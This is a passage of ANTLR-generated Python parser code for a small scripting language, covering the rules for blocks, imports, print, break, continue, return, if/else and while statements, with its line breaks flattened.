self._state.backtracking == 0: self._adaptor.addChild(root_0, try_stmt18.tree) elif alt3 == 17: # Expr.g:54:4: func_decl pass root_0 = self._adaptor.nil() self._state.following.append(self.FOLLOW_func_decl_in_stmt313) func_decl19 = self.func_decl() self._state.following.pop() if self._state.backtracking == 0: self._adaptor.addChild(root_0, func_decl19.tree) elif alt3 == 18: # Expr.g:55:4: class_decl pass root_0 = self._adaptor.nil() self._state.following.append(self.FOLLOW_class_decl_in_stmt318) class_decl20 = self.class_decl() self._state.following.pop() if self._state.backtracking == 0: self._adaptor.addChild(root_0, class_decl20.tree) retval.stop = self.input.LT(-1) if self._state.backtracking == 0: retval.tree = self._adaptor.rulePostProcessing(root_0) self._adaptor.setTokenBoundaries(retval.tree, retval.start, retval.stop) except RecognitionException, re: self.reportError(re) self.recover(self.input, re) retval.tree = self._adaptor.errorNode(self.input, retval.start, self.input.LT(-1), re) finally: pass return retval # $ANTLR end "stmt" class block_return(ParserRuleReturnScope): def __init__(self): super(ExprParser.block_return, self).__init__() self.tree = None # $ANTLR start "block" # Expr.g:59:1: block : '{' ( stmt )* '}' -> ^( BLOCK ( stmt )* ) ; def block(self, ): retval = self.block_return() retval.start = self.input.LT(1) root_0 = None char_literal21 = None char_literal23 = None stmt22 = None char_literal21_tree = None char_literal23_tree = None stream_132 = RewriteRuleTokenStream(self._adaptor, "token 132") stream_136 = RewriteRuleTokenStream(self._adaptor, "token 136") stream_stmt = RewriteRuleSubtreeStream(self._adaptor, "rule stmt") try: try: # Expr.g:60:2: ( '{' ( stmt )* '}' -> ^( BLOCK ( stmt )* ) ) # Expr.g:60:4: '{' ( stmt )* '}' pass char_literal21 = self.match(self.input, 132, self.FOLLOW_132_in_block331) if self._state.backtracking == 0: stream_132.add(char_literal21) # Expr.g:60:8: ( stmt )* while True: #loop4 alt4 = 2 LA4_0 = self.input.LA(1) if (LA4_0 == ID or LA4_0 == 80 or LA4_0 == 84 or LA4_0 == 92 or LA4_0 == 105 or (108 <= LA4_0 <= 109) or LA4_0 == 111 or (115 <= LA4_0 <= 119) or (122 <= LA4_0 <= 123) or LA4_0 == 125 or (128 <= LA4_0 <= 131)) : alt4 = 1 if alt4 == 1: # Expr.g:60:8: stmt pass self._state.following.append(self.FOLLOW_stmt_in_block333) stmt22 = self.stmt() self._state.following.pop() if self._state.backtracking == 0: stream_stmt.add(stmt22.tree) else: break #loop4 char_literal23 = self.match(self.input, 136, self.FOLLOW_136_in_block336) if self._state.backtracking == 0: stream_136.add(char_literal23) # AST Rewrite # elements: stmt # token labels: # rule labels: retval # token list labels: # rule list labels: # wildcard labels: if self._state.backtracking == 0: retval.tree = root_0 if retval is not None: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "rule retval", retval.tree) else: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "token retval", None) root_0 = self._adaptor.nil() # 61:3: -> ^( BLOCK ( stmt )* ) # Expr.g:61:6: ^( BLOCK ( stmt )* ) root_1 = self._adaptor.nil() root_1 = self._adaptor.becomeRoot( self._adaptor.createFromType(BLOCK, "BLOCK") , root_1) # Expr.g:61:14: ( stmt )* while stream_stmt.hasNext(): self._adaptor.addChild(root_1, stream_stmt.nextTree()) stream_stmt.reset(); self._adaptor.addChild(root_0, root_1) retval.tree = root_0 retval.stop = self.input.LT(-1) if self._state.backtracking == 0: retval.tree = self._adaptor.rulePostProcessing(root_0) self._adaptor.setTokenBoundaries(retval.tree, retval.start, retval.stop) except RecognitionException, re: self.reportError(re) self.recover(self.input, re) retval.tree = self._adaptor.errorNode(self.input, retval.start, self.input.LT(-1), re) finally: pass return retval # $ANTLR end "block" class import_stmt_return(ParserRuleReturnScope): def __init__(self): super(ExprParser.import_stmt_return, self).__init__() self.tree = None # $ANTLR start "import_stmt" # Expr.g:64:1: import_stmt : 'import' module_path ( ',' module_path )* ';' -> ^( IMPORT ( module_path )+ ) ; def import_stmt(self, ): retval = self.import_stmt_return() retval.start = self.input.LT(1) root_0 = None string_literal24 = None char_literal26 = None char_literal28 = None module_path25 = None module_path27 = None string_literal24_tree = None char_literal26_tree = None char_literal28_tree = None stream_92 = RewriteRuleTokenStream(self._adaptor, "token 92") stream_82 = RewriteRuleTokenStream(self._adaptor, "token 82") stream_119 = RewriteRuleTokenStream(self._adaptor, "token 119") stream_module_path = RewriteRuleSubtreeStream(self._adaptor, "rule module_path") try: try: # Expr.g:65:2: ( 'import' module_path ( ',' module_path )* ';' -> ^( IMPORT ( module_path )+ ) ) # Expr.g:65:4: 'import' module_path ( ',' module_path )* ';' pass string_literal24 = self.match(self.input, 119, self.FOLLOW_119_in_import_stmt358) if self._state.backtracking == 0: stream_119.add(string_literal24) self._state.following.append(self.FOLLOW_module_path_in_import_stmt360) module_path25 = self.module_path() self._state.following.pop() if self._state.backtracking == 0: stream_module_path.add(module_path25.tree) # Expr.g:65:25: ( ',' module_path )* while True: #loop5 alt5 = 2 LA5_0 = self.input.LA(1) if (LA5_0 == 82) : alt5 = 1 if alt5 == 1: # Expr.g:65:26: ',' module_path pass char_literal26 = self.match(self.input, 82, self.FOLLOW_82_in_import_stmt363) if self._state.backtracking == 0: stream_82.add(char_literal26) self._state.following.append(self.FOLLOW_module_path_in_import_stmt365) module_path27 = self.module_path() self._state.following.pop() if self._state.backtracking == 0: stream_module_path.add(module_path27.tree) else: break #loop5 char_literal28 = self.match(self.input, 92, self.FOLLOW_92_in_import_stmt369) if self._state.backtracking == 0: stream_92.add(char_literal28) # AST Rewrite # elements: module_path # token labels: # rule labels: retval # token list labels: # rule list labels: # wildcard labels: if self._state.backtracking == 0: retval.tree = root_0 if retval is not None: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "rule retval", retval.tree) else: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "token retval", None) root_0 = self._adaptor.nil() # 66:3: -> ^( IMPORT ( module_path )+ ) # Expr.g:66:6: ^( IMPORT ( module_path )+ ) root_1 = self._adaptor.nil() root_1 = self._adaptor.becomeRoot( self._adaptor.createFromType(IMPORT, "IMPORT") , root_1) # Expr.g:66:15: ( module_path )+ if not (stream_module_path.hasNext()): raise RewriteEarlyExitException() while stream_module_path.hasNext(): self._adaptor.addChild(root_1, stream_module_path.nextTree()) stream_module_path.reset() self._adaptor.addChild(root_0, root_1) retval.tree = root_0 retval.stop = self.input.LT(-1) if self._state.backtracking == 0: retval.tree = self._adaptor.rulePostProcessing(root_0) self._adaptor.setTokenBoundaries(retval.tree, retval.start, retval.stop) except RecognitionException, re: self.reportError(re) self.recover(self.input, re) retval.tree = self._adaptor.errorNode(self.input, retval.start, self.input.LT(-1), re) finally: pass return retval # $ANTLR end "import_stmt" class module_path_return(ParserRuleReturnScope): def __init__(self): super(ExprParser.module_path_return, self).__init__() self.tree = None # $ANTLR start "module_path" # Expr.g:68:1: module_path : ( module | module '.*' ); def module_path(self, ): retval = self.module_path_return() retval.start = self.input.LT(1) root_0 = None string_literal31 = None module29 = None module30 = None string_literal31_tree = None try: try: # Expr.g:69:2: ( module | module '.*' ) alt6 = 2 alt6 = self.dfa6.predict(self.input) if alt6 == 1: # Expr.g:69:4: module pass root_0 = self._adaptor.nil() self._state.following.append(self.FOLLOW_module_in_module_path390) module29 = self.module() self._state.following.pop() if self._state.backtracking == 0: self._adaptor.addChild(root_0, module29.tree) elif alt6 == 2: # Expr.g:70:4: module '.*' pass root_0 = self._adaptor.nil() self._state.following.append(self.FOLLOW_module_in_module_path395) module30 = self.module() self._state.following.pop() if self._state.backtracking == 0: self._adaptor.addChild(root_0, module30.tree) string_literal31 = self.match(self.input, 87, self.FOLLOW_87_in_module_path397) if self._state.backtracking == 0: string_literal31_tree = self._adaptor.createWithPayload(string_literal31) self._adaptor.addChild(root_0, string_literal31_tree) retval.stop = self.input.LT(-1) if self._state.backtracking == 0: retval.tree = self._adaptor.rulePostProcessing(root_0) self._adaptor.setTokenBoundaries(retval.tree, retval.start, retval.stop) except RecognitionException, re: self.reportError(re) self.recover(self.input, re) retval.tree = self._adaptor.errorNode(self.input, retval.start, self.input.LT(-1), re) finally: pass return retval # $ANTLR end "module_path" class printf_stmt_return(ParserRuleReturnScope): def __init__(self): super(ExprParser.printf_stmt_return, self).__init__() self.tree = None # $ANTLR start "printf_stmt" # Expr.g:73:1: printf_stmt : 'printf' '(' expr ( ',' expr_list )? ')' ';' -> ^( PRINTF expr ( expr_list )? ) ; def printf_stmt(self, ): retval = self.printf_stmt_return() retval.start = self.input.LT(1) root_0 = None string_literal32 = None char_literal33 = None char_literal35 = None char_literal37 = None char_literal38 = None expr34 = None expr_list36 = None string_literal32_tree = None char_literal33_tree = None char_literal35_tree = None char_literal37_tree = None char_literal38_tree = None stream_92 = RewriteRuleTokenStream(self._adaptor, "token 92") stream_123 = RewriteRuleTokenStream(self._adaptor, "token 123") stream_82 = RewriteRuleTokenStream(self._adaptor, "token 82") stream_75 = RewriteRuleTokenStream(self._adaptor, "token 75") stream_76 = RewriteRuleTokenStream(self._adaptor, "token 76") stream_expr = RewriteRuleSubtreeStream(self._adaptor, "rule expr") stream_expr_list = RewriteRuleSubtreeStream(self._adaptor, "rule expr_list") try: try: # Expr.g:74:2: ( 'printf' '(' expr ( ',' expr_list )? ')' ';' -> ^( PRINTF expr ( expr_list )? ) ) # Expr.g:74:4: 'printf' '(' expr ( ',' expr_list )? ')' ';' pass string_literal32 = self.match(self.input, 123, self.FOLLOW_123_in_printf_stmt408) if self._state.backtracking == 0: stream_123.add(string_literal32) char_literal33 = self.match(self.input, 75, self.FOLLOW_75_in_printf_stmt410) if self._state.backtracking == 0: stream_75.add(char_literal33) self._state.following.append(self.FOLLOW_expr_in_printf_stmt412) expr34 = self.expr() self._state.following.pop() if self._state.backtracking == 0: stream_expr.add(expr34.tree) # Expr.g:74:22: ( ',' expr_list )? alt7 = 2 LA7_0 = self.input.LA(1) if (LA7_0 == 82) : alt7 = 1 if alt7 == 1: # Expr.g:74:23: ',' expr_list pass char_literal35 = self.match(self.input, 82, self.FOLLOW_82_in_printf_stmt415) if self._state.backtracking == 0: stream_82.add(char_literal35) self._state.following.append(self.FOLLOW_expr_list_in_printf_stmt417) expr_list36 = self.expr_list() self._state.following.pop() if self._state.backtracking == 0: stream_expr_list.add(expr_list36.tree) char_literal37 = self.match(self.input, 76, self.FOLLOW_76_in_printf_stmt421) if self._state.backtracking == 0: stream_76.add(char_literal37) char_literal38 = self.match(self.input, 92, self.FOLLOW_92_in_printf_stmt423) if self._state.backtracking == 0: stream_92.add(char_literal38) # AST Rewrite # elements: expr_list, expr # token labels: # rule labels: retval # token list labels: # rule list labels: # wildcard labels: if self._state.backtracking == 0: retval.tree = root_0 if retval is not None: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "rule retval", retval.tree) else: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "token retval", None) root_0 = self._adaptor.nil() # 75:3: -> ^( PRINTF expr ( expr_list )? ) # Expr.g:75:6: ^( PRINTF expr ( expr_list )? ) root_1 = self._adaptor.nil() root_1 = self._adaptor.becomeRoot( self._adaptor.createFromType(PRINTF, "PRINTF") , root_1) self._adaptor.addChild(root_1, stream_expr.nextTree()) # Expr.g:75:20: ( expr_list )? if stream_expr_list.hasNext(): self._adaptor.addChild(root_1, stream_expr_list.nextTree()) stream_expr_list.reset(); self._adaptor.addChild(root_0, root_1) retval.tree = root_0 retval.stop = self.input.LT(-1) if self._state.backtracking == 0: retval.tree = self._adaptor.rulePostProcessing(root_0) self._adaptor.setTokenBoundaries(retval.tree, retval.start, retval.stop) except RecognitionException, re: self.reportError(re) self.recover(self.input, re) retval.tree = self._adaptor.errorNode(self.input, retval.start, self.input.LT(-1), re) finally: pass return retval # $ANTLR end "printf_stmt" class print_stmt_return(ParserRuleReturnScope): def __init__(self): super(ExprParser.print_stmt_return, self).__init__() self.tree = None # $ANTLR start "print_stmt" # Expr.g:78:1: print_stmt : ( 'print' ) expr_list ';' -> ^( PRINT expr_list ) ; def print_stmt(self, ): retval = self.print_stmt_return() retval.start = self.input.LT(1) root_0 = None string_literal39 = None char_literal41 = None expr_list40 = None string_literal39_tree = None char_literal41_tree = None stream_122 = RewriteRuleTokenStream(self._adaptor, "token 122") stream_92 = RewriteRuleTokenStream(self._adaptor, "token 92") stream_expr_list = RewriteRuleSubtreeStream(self._adaptor, "rule expr_list") try: try: # Expr.g:81:2: ( ( 'print' ) expr_list ';' -> ^( PRINT expr_list ) ) # Expr.g:81:4: ( 'print' ) expr_list ';' pass # Expr.g:81:4: ( 'print' ) # Expr.g:81:5: 'print' pass string_literal39 = self.match(self.input, 122, self.FOLLOW_122_in_print_stmt452) if self._state.backtracking == 0: stream_122.add(string_literal39) self._state.following.append(self.FOLLOW_expr_list_in_print_stmt455) expr_list40 = self.expr_list() self._state.following.pop() if self._state.backtracking == 0: stream_expr_list.add(expr_list40.tree) char_literal41 = self.match(self.input, 92, self.FOLLOW_92_in_print_stmt457) if self._state.backtracking == 0: stream_92.add(char_literal41) # AST Rewrite # elements: expr_list # token labels: # rule labels: retval # token list labels: # rule list labels: # wildcard labels: if self._state.backtracking == 0: retval.tree = root_0 if retval is not None: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "rule retval", retval.tree) else: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "token retval", None) root_0 = self._adaptor.nil() # 82:3: -> ^( PRINT expr_list ) # Expr.g:82:6: ^( PRINT expr_list ) root_1 = self._adaptor.nil() root_1 = self._adaptor.becomeRoot( self._adaptor.createFromType(PRINT, "PRINT") , root_1) self._adaptor.addChild(root_1, stream_expr_list.nextTree()) self._adaptor.addChild(root_0, root_1) retval.tree = root_0 retval.stop = self.input.LT(-1) if self._state.backtracking == 0: retval.tree = self._adaptor.rulePostProcessing(root_0) self._adaptor.setTokenBoundaries(retval.tree, retval.start, retval.stop) except RecognitionException, re: self.reportError(re) self.recover(self.input, re) retval.tree = self._adaptor.errorNode(self.input, retval.start, self.input.LT(-1), re) finally: pass return retval # $ANTLR end "print_stmt" class break_stmt_return(ParserRuleReturnScope): def __init__(self): super(ExprParser.break_stmt_return, self).__init__() self.tree = None # $ANTLR start "break_stmt" # Expr.g:85:1: break_stmt : 'break' ';' -> BREAK ; def break_stmt(self, ): retval = self.break_stmt_return() retval.start = self.input.LT(1) root_0 = None string_literal42 = None char_literal43 = None string_literal42_tree = None char_literal43_tree = None stream_92 = RewriteRuleTokenStream(self._adaptor, "token 92") stream_105 = RewriteRuleTokenStream(self._adaptor, "token 105") try: try: # Expr.g:86:2: ( 'break' ';' -> BREAK ) # Expr.g:86:4: 'break' ';' pass string_literal42 = self.match(self.input, 105, self.FOLLOW_105_in_break_stmt478) if self._state.backtracking == 0: stream_105.add(string_literal42) char_literal43 = self.match(self.input, 92, self.FOLLOW_92_in_break_stmt480) if self._state.backtracking == 0: stream_92.add(char_literal43) # AST Rewrite # elements: # token labels: # rule labels: retval # token list labels: # rule list labels: # wildcard labels: if self._state.backtracking == 0: retval.tree = root_0 if retval is not None: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "rule retval", retval.tree) else: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "token retval", None) root_0 = self._adaptor.nil() # 87:3: -> BREAK self._adaptor.addChild(root_0, self._adaptor.createFromType(BREAK, "BREAK") ) retval.tree = root_0 retval.stop = self.input.LT(-1) if self._state.backtracking == 0: retval.tree = self._adaptor.rulePostProcessing(root_0) self._adaptor.setTokenBoundaries(retval.tree, retval.start, retval.stop) except RecognitionException, re: self.reportError(re) self.recover(self.input, re) retval.tree = self._adaptor.errorNode(self.input, retval.start, self.input.LT(-1), re) finally: pass return retval # $ANTLR end "break_stmt" class continue_stmt_return(ParserRuleReturnScope): def __init__(self): super(ExprParser.continue_stmt_return, self).__init__() self.tree = None # $ANTLR start "continue_stmt" # Expr.g:89:1: continue_stmt : 'continue' ';' -> CONTINUE ; def continue_stmt(self, ): retval = self.continue_stmt_return() retval.start = self.input.LT(1) root_0 = None string_literal44 = None char_literal45 = None string_literal44_tree = None char_literal45_tree = None stream_109 = RewriteRuleTokenStream(self._adaptor, "token 109") stream_92 = RewriteRuleTokenStream(self._adaptor, "token 92") try: try: # Expr.g:90:2: ( 'continue' ';' -> CONTINUE ) # Expr.g:90:4: 'continue' ';' pass string_literal44 = self.match(self.input, 109, self.FOLLOW_109_in_continue_stmt496) if self._state.backtracking == 0: stream_109.add(string_literal44) char_literal45 = self.match(self.input, 92, self.FOLLOW_92_in_continue_stmt498) if self._state.backtracking == 0: stream_92.add(char_literal45) # AST Rewrite # elements: # token labels: # rule labels: retval # token list labels: # rule list labels: # wildcard labels: if self._state.backtracking == 0: retval.tree = root_0 if retval is not None: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "rule retval", retval.tree) else: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "token retval", None) root_0 = self._adaptor.nil() # 91:3: -> CONTINUE self._adaptor.addChild(root_0, self._adaptor.createFromType(CONTINUE, "CONTINUE") ) retval.tree = root_0 retval.stop = self.input.LT(-1) if self._state.backtracking == 0: retval.tree = self._adaptor.rulePostProcessing(root_0) self._adaptor.setTokenBoundaries(retval.tree, retval.start, retval.stop) except RecognitionException, re: self.reportError(re) self.recover(self.input, re) retval.tree = self._adaptor.errorNode(self.input, retval.start, self.input.LT(-1), re) finally: pass return retval # $ANTLR end "continue_stmt" class return_stmt_return(ParserRuleReturnScope): def __init__(self): super(ExprParser.return_stmt_return, self).__init__() self.tree = None # $ANTLR start "return_stmt" # Expr.g:93:1: return_stmt : 'return' ( expr )? ';' -> ^( RETURN ( expr )? ) ; def return_stmt(self, ): retval = self.return_stmt_return() retval.start = self.input.LT(1) root_0 = None string_literal46 = None char_literal48 = None expr47 = None string_literal46_tree = None char_literal48_tree = None stream_125 = RewriteRuleTokenStream(self._adaptor, "token 125") stream_92 = RewriteRuleTokenStream(self._adaptor, "token 92") stream_expr = RewriteRuleSubtreeStream(self._adaptor, "rule expr") try: try: # Expr.g:94:2: ( 'return' ( expr )? ';' -> ^( RETURN ( expr )? ) ) # Expr.g:94:4: 'return' ( expr )? ';' pass string_literal46 = self.match(self.input, 125, self.FOLLOW_125_in_return_stmt514) if self._state.backtracking == 0: stream_125.add(string_literal46) # Expr.g:94:13: ( expr )? alt8 = 2 LA8_0 = self.input.LA(1) if (LA8_0 == BOOL or LA8_0 == FLOAT or LA8_0 == ID or LA8_0 == INT or LA8_0 == NULL or LA8_0 == STRING or LA8_0 == 68 or LA8_0 == 75 or LA8_0 == 83 or LA8_0 == 100 or LA8_0 == 121 or LA8_0 == 126 or LA8_0 == 132) : alt8 = 1 if alt8 == 1: # Expr.g:94:13: expr pass self._state.following.append(self.FOLLOW_expr_in_return_stmt516) expr47 = self.expr() self._state.following.pop() if self._state.backtracking == 0: stream_expr.add(expr47.tree) char_literal48 = self.match(self.input, 92, self.FOLLOW_92_in_return_stmt519) if self._state.backtracking == 0: stream_92.add(char_literal48) # AST Rewrite # elements: expr # token labels: # rule labels: retval # token list labels: # rule list labels: # wildcard labels: if self._state.backtracking == 0: retval.tree = root_0 if retval is not None: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "rule retval", retval.tree) else: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "token retval", None) root_0 = self._adaptor.nil() # 95:3: -> ^( RETURN ( expr )? ) # Expr.g:95:6: ^( RETURN ( expr )? ) root_1 = self._adaptor.nil() root_1 = self._adaptor.becomeRoot( self._adaptor.createFromType(RETURN, "RETURN") , root_1) # Expr.g:95:15: ( expr )? if stream_expr.hasNext(): self._adaptor.addChild(root_1, stream_expr.nextTree()) stream_expr.reset(); self._adaptor.addChild(root_0, root_1) retval.tree = root_0 retval.stop = self.input.LT(-1) if self._state.backtracking == 0: retval.tree = self._adaptor.rulePostProcessing(root_0) self._adaptor.setTokenBoundaries(retval.tree, retval.start, retval.stop) except RecognitionException, re: self.reportError(re) self.recover(self.input, re) retval.tree = self._adaptor.errorNode(self.input, retval.start, self.input.LT(-1), re) finally: pass return retval # $ANTLR end "return_stmt" class if_stmt_return(ParserRuleReturnScope): def __init__(self): super(ExprParser.if_stmt_return, self).__init__() self.tree = None # $ANTLR start "if_stmt" # Expr.g:98:1: if_stmt : if_clause ( else_if_clause )* ( else_clause )? ; def if_stmt(self, ): retval = self.if_stmt_return() retval.start = self.input.LT(1) root_0 = None if_clause49 = None else_if_clause50 = None else_clause51 = None try: try: # Expr.g:99:2: ( if_clause ( else_if_clause )* ( else_clause )? ) # Expr.g:99:4: if_clause ( else_if_clause )* ( else_clause )? pass root_0 = self._adaptor.nil() self._state.following.append(self.FOLLOW_if_clause_in_if_stmt541) if_clause49 = self.if_clause() self._state.following.pop() if self._state.backtracking == 0: self._adaptor.addChild(root_0, if_clause49.tree) # Expr.g:99:14: ( else_if_clause )* while True: #loop9 alt9 = 2 LA9_0 = self.input.LA(1) if (LA9_0 == 112) : LA9_1 = self.input.LA(2) if (LA9_1 == 118) : alt9 = 1 if alt9 == 1: # Expr.g:99:14: else_if_clause pass self._state.following.append(self.FOLLOW_else_if_clause_in_if_stmt543) else_if_clause50 = self.else_if_clause() self._state.following.pop() if self._state.backtracking == 0: self._adaptor.addChild(root_0, else_if_clause50.tree) else: break #loop9 # Expr.g:99:30: ( else_clause )? alt10 = 2 LA10_0 = self.input.LA(1) if (LA10_0 == 112) : alt10 = 1 if alt10 == 1: # Expr.g:99:30: else_clause pass self._state.following.append(self.FOLLOW_else_clause_in_if_stmt546) else_clause51 = self.else_clause() self._state.following.pop() if self._state.backtracking == 0: self._adaptor.addChild(root_0, else_clause51.tree) retval.stop = self.input.LT(-1) if self._state.backtracking == 0: retval.tree = self._adaptor.rulePostProcessing(root_0) self._adaptor.setTokenBoundaries(retval.tree, retval.start, retval.stop) except RecognitionException, re: self.reportError(re) self.recover(self.input, re) retval.tree = self._adaptor.errorNode(self.input, retval.start, self.input.LT(-1), re) finally: pass return retval # $ANTLR end "if_stmt" class if_clause_return(ParserRuleReturnScope): def __init__(self): super(ExprParser.if_clause_return, self).__init__() self.tree = None # $ANTLR start "if_clause" # Expr.g:101:1: if_clause : 'if' '(' expr ')' block -> ^( IF expr block ) ; def if_clause(self, ): retval = self.if_clause_return() retval.start = self.input.LT(1) root_0 = None string_literal52 = None char_literal53 = None char_literal55 = None expr54 = None block56 = None string_literal52_tree = None char_literal53_tree = None char_literal55_tree = None stream_75 = RewriteRuleTokenStream(self._adaptor, "token 75") stream_118 = RewriteRuleTokenStream(self._adaptor, "token 118") stream_76 = RewriteRuleTokenStream(self._adaptor, "token 76") stream_block = RewriteRuleSubtreeStream(self._adaptor, "rule block") stream_expr = RewriteRuleSubtreeStream(self._adaptor, "rule expr") try: try: # Expr.g:102:2: ( 'if' '(' expr ')' block -> ^( IF expr block ) ) # Expr.g:102:4: 'if' '(' expr ')' block pass string_literal52 = self.match(self.input, 118, self.FOLLOW_118_in_if_clause557) if self._state.backtracking == 0: stream_118.add(string_literal52) char_literal53 = self.match(self.input, 75, self.FOLLOW_75_in_if_clause559) if self._state.backtracking == 0: stream_75.add(char_literal53) self._state.following.append(self.FOLLOW_expr_in_if_clause561) expr54 = self.expr() self._state.following.pop() if self._state.backtracking == 0: stream_expr.add(expr54.tree) char_literal55 = self.match(self.input, 76, self.FOLLOW_76_in_if_clause563) if self._state.backtracking == 0: stream_76.add(char_literal55) self._state.following.append(self.FOLLOW_block_in_if_clause565) block56 = self.block() self._state.following.pop() if self._state.backtracking == 0: stream_block.add(block56.tree) # AST Rewrite # elements: block, expr # token labels: # rule labels: retval # token list labels: # rule list labels: # wildcard labels: if self._state.backtracking == 0: retval.tree = root_0 if retval is not None: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "rule retval", retval.tree) else: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "token retval", None) root_0 = self._adaptor.nil() # 103:3: -> ^( IF expr block ) # Expr.g:103:6: ^( IF expr block ) root_1 = self._adaptor.nil() root_1 = self._adaptor.becomeRoot( self._adaptor.createFromType(IF, "IF") , root_1) self._adaptor.addChild(root_1, stream_expr.nextTree()) self._adaptor.addChild(root_1, stream_block.nextTree()) self._adaptor.addChild(root_0, root_1) retval.tree = root_0 retval.stop = self.input.LT(-1) if self._state.backtracking == 0: retval.tree = self._adaptor.rulePostProcessing(root_0) self._adaptor.setTokenBoundaries(retval.tree, retval.start, retval.stop) except RecognitionException, re: self.reportError(re) self.recover(self.input, re) retval.tree = self._adaptor.errorNode(self.input, retval.start, self.input.LT(-1), re) finally: pass return retval # $ANTLR end "if_clause" class else_if_clause_return(ParserRuleReturnScope): def __init__(self): super(ExprParser.else_if_clause_return, self).__init__() self.tree = None # $ANTLR start "else_if_clause" # Expr.g:105:1: else_if_clause : 'else' if_clause -> ^( ELSE_IF if_clause ) ; def else_if_clause(self, ): retval = self.else_if_clause_return() retval.start = self.input.LT(1) root_0 = None string_literal57 = None if_clause58 = None string_literal57_tree = None stream_112 = RewriteRuleTokenStream(self._adaptor, "token 112") stream_if_clause = RewriteRuleSubtreeStream(self._adaptor, "rule if_clause") try: try: # Expr.g:106:2: ( 'else' if_clause -> ^( ELSE_IF if_clause ) ) # Expr.g:106:4: 'else' if_clause pass string_literal57 = self.match(self.input, 112, self.FOLLOW_112_in_else_if_clause587) if self._state.backtracking == 0: stream_112.add(string_literal57) self._state.following.append(self.FOLLOW_if_clause_in_else_if_clause589) if_clause58 = self.if_clause() self._state.following.pop() if self._state.backtracking == 0: stream_if_clause.add(if_clause58.tree) # AST Rewrite # elements: if_clause # token labels: # rule labels: retval # token list labels: # rule list labels: # wildcard labels: if self._state.backtracking == 0: retval.tree = root_0 if retval is not None: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "rule retval", retval.tree) else: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "token retval", None) root_0 = self._adaptor.nil() # 107:3: -> ^( ELSE_IF if_clause ) # Expr.g:107:6: ^( ELSE_IF if_clause ) root_1 = self._adaptor.nil() root_1 = self._adaptor.becomeRoot( self._adaptor.createFromType(ELSE_IF, "ELSE_IF") , root_1) self._adaptor.addChild(root_1, stream_if_clause.nextTree()) self._adaptor.addChild(root_0, root_1) retval.tree = root_0 retval.stop = self.input.LT(-1) if self._state.backtracking == 0: retval.tree = self._adaptor.rulePostProcessing(root_0) self._adaptor.setTokenBoundaries(retval.tree, retval.start, retval.stop) except RecognitionException, re: self.reportError(re) self.recover(self.input, re) retval.tree = self._adaptor.errorNode(self.input, retval.start, self.input.LT(-1), re) finally: pass return retval # $ANTLR end "else_if_clause" class else_clause_return(ParserRuleReturnScope): def __init__(self): super(ExprParser.else_clause_return, self).__init__() self.tree = None # $ANTLR start "else_clause" # Expr.g:109:1: else_clause : 'else' block -> ^( ELSE block ) ; def else_clause(self, ): retval = self.else_clause_return() retval.start = self.input.LT(1) root_0 = None string_literal59 = None block60 = None string_literal59_tree = None stream_112 = RewriteRuleTokenStream(self._adaptor, "token 112") stream_block = RewriteRuleSubtreeStream(self._adaptor, "rule block") try: try: # Expr.g:110:2: ( 'else' block -> ^( ELSE block ) ) # Expr.g:110:4: 'else' block pass string_literal59 = self.match(self.input, 112, self.FOLLOW_112_in_else_clause609) if self._state.backtracking == 0: stream_112.add(string_literal59) self._state.following.append(self.FOLLOW_block_in_else_clause611) block60 = self.block() self._state.following.pop() if self._state.backtracking == 0: stream_block.add(block60.tree) # AST Rewrite # elements: block # token labels: # rule labels: retval # token list labels: # rule list labels: # wildcard labels: if self._state.backtracking == 0: retval.tree = root_0 if retval is not None: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "rule retval", retval.tree) else: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "token retval", None) root_0 = self._adaptor.nil() # 111:3: -> ^( ELSE block ) # Expr.g:111:6: ^( ELSE block ) root_1 = self._adaptor.nil() root_1 = self._adaptor.becomeRoot( self._adaptor.createFromType(ELSE, "ELSE") , root_1) self._adaptor.addChild(root_1, stream_block.nextTree()) self._adaptor.addChild(root_0, root_1) retval.tree = root_0 retval.stop = self.input.LT(-1) if self._state.backtracking == 0: retval.tree = self._adaptor.rulePostProcessing(root_0) self._adaptor.setTokenBoundaries(retval.tree, retval.start, retval.stop) except RecognitionException, re: self.reportError(re) self.recover(self.input, re) retval.tree = self._adaptor.errorNode(self.input, retval.start, self.input.LT(-1), re) finally: pass return retval # $ANTLR end "else_clause" class while_stmt_return(ParserRuleReturnScope): def __init__(self): super(ExprParser.while_stmt_return, self).__init__() self.tree = None # $ANTLR start "while_stmt" # Expr.g:114:1: while_stmt : 'while' '(' expr ')' block -> ^( WHILE expr block ) ; def while_stmt(self, ): retval = self.while_stmt_return() retval.start = self.input.LT(1) root_0 = None string_literal61 = None char_literal62 = None char_literal64 = None expr63 = None block65 = None string_literal61_tree = None char_literal62_tree = None char_literal64_tree = None stream_131 = RewriteRuleTokenStream(self._adaptor, "token 131") stream_75 = RewriteRuleTokenStream(self._adaptor, "token 75") stream_76 = RewriteRuleTokenStream(self._adaptor, "token 76") stream_block = RewriteRuleSubtreeStream(self._adaptor, "rule block") stream_expr = RewriteRuleSubtreeStream(self._adaptor, "rule expr") try: try: # Expr.g:115:2: ( 'while' '(' expr ')' block -> ^( WHILE expr block ) ) # Expr.g:115:4: 'while' '(' expr ')' block pass string_literal61 = self.match(self.input, 131, self.FOLLOW_131_in_while_stmt632) if self._state.backtracking == 0: stream_131.add(string_literal61) char_literal62 = self.match(self.input, 75, self.FOLLOW_75_in_while_stmt634) if self._state.backtracking == 0: stream_75.add(char_literal62) self._state.following.append(self.FOLLOW_expr_in_while_stmt636) expr63 = self.expr() self._state.following.pop() if self._state.backtracking == 0: stream_expr.add(expr63.tree) char_literal64 = self.match(self.input, 76, 